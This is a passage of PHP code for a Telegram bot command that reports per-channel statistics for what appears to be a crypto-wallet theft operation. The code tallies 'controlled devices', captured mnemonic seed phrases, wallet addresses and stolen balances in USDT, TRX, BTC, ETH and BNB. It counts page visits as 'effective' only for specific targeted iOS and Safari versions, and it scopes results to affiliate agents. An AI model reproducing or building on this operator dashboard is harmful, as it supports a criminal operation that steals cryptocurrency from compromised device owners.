$p !== '')); $days = null; $channelId = ''; if (isset($parts[0]) && in_array($parts[0], ['1', '7', '30'], true)) { $days = $parts[0]; $channelId = $parts[1] ?? ''; } elseif (isset($parts[0])) { $parsed = $this->parseChannelId($parts[0]); if ($parsed === null) { $bot->sendMessage( "Usage: /data [1|7|30] [channelId]\n" ."Omit days for today. Omit channelId for all channels.\n" ."channelId: 旧版 32 位 hex,或新版 X.Y.ZZ(如 0.0.01)" ); return; } $channelId = $parsed; } if ($channelId !== '') { $parsed = $this->parseChannelId($channelId); if ($parsed === null) { $bot->sendMessage('channelId 无效(需 32 位 hex 或新版 X.Y.ZZ)'); return; } $channelId = $parsed; } $agent = $this->context->agent(); if ($agent !== null && $channelId !== '') { $owned = Channel::query() ->where('user_id', $agent->id) ->where('channel_id', $channelId) ->exists(); if (! $owned) { $bot->sendMessage('⛔ 无权查看该渠道'); return; } } try { $range = $this->stats->rangeFromDays($days); } catch (\InvalidArgumentException $e) { $bot->sendMessage($e->getMessage()); return; } $data = $this->stats->collect([ 'range' => $range, 'channel_id' => $channelId, 'channel_exact' => $channelId !== '', 'agent' => $agent, ]); $channelLabel = $this->channelLabel($channelId, $agent !== null); $lines = [ '📊 仪表盘统计', '区间: '.$data['from'].' ~ '.$data['to'], '渠道: '.$channelLabel, '', '📦 设备与资产(区间内)', '总设备: '.$data['wallet_count'].' / '.$data['total'].' (有钱包/全部)', '新增设备: '.$data['new_count'], '活跃设备: '.$data['active_count'], '助记词: '.$data['mnemonic_count'], '钱包地址: '.$data['address_count'], '', '💰 总余额(区间内新增地址)', '• USDT '.$data['balances']['usdt'], '• TRX '.$data['balances']['trx'], '• BTC '.$data['balances']['btc'], '• ETH '.$data['balances']['eth'], '• BNB '.$data['balances']['bnb'], '', '🌐 页面访问', '页面 PV: '.$data['effective_pv'].' / '.$data['pv'].' (有效/全部)', '页面 UV: '.$data['effective_uv'].' / '.$data['uv'].' (有效/全部)', '有效口径: iOS 13–17.2.1 / 18.1.1 / 18.4 / 18.4.1 / 18.5 / 18.6 / 18.6.1 / 18.6.2 / 18.7 / 18.7.1 / 18.7.2 + Safari,不含 15.8.8 / 16.7.10+', '', '访问 · 按系统 (UV / 占比):', ]; foreach ($data['by_os'] as $row) { $lines[] = sprintf('• %s UV %d %s%%', $row['label'], $row['uv'], $row['pct']); } $lines[] = ''; $lines[] = '访问 · 按 iOS 版本 (UV / 占比):'; if ($data['by_ios_version'] === []) { $lines[] = '• 暂无'; } else { foreach ($data['by_ios_version'] as $row) { $lines[] = sprintf('• %s UV %d %s%%', $row['label'], $row['uv'], $row['pct']); } } $lines[] = ''; $lines[] = '受控设备 · 系统版本分布:'; if ($data['by_device_ios_version'] === []) { $lines[] = '• 暂无'; } else { foreach ($data['by_device_ios_version'] as $row) { $lines[] = sprintf('• %s %d 台 %s%%', $row['label'], $row['count'], $row['pct']); } } $bot->sendMessage(implode("\n", $lines)); } /** * Accept old 32-hex or new X.Y.ZZ channel ids. */ private function parseChannelId(string $raw): ?string { $raw = trim($raw); if ($raw === '') { return ''; } if (preg_match('/^[0-9a-f]{32}$/i', $raw)) { return strtolower($raw); } return Channel::normalizeNewChannelId($raw); } private function channelLabel(string $channelId, bool $agentScoped): string { if ($channelId === '') { return $agentScoped ? '本代理全部' : '全部'; } $row = Channel::query()->where('channel_id', $channelId)->first(['channel_id', 'remark']); if ($row === null) { return $channelId; } $remark = trim((string) ($row->remark ?? '')); return $remark !== '' ? $channelId.'/'.$remark : $channelId; } }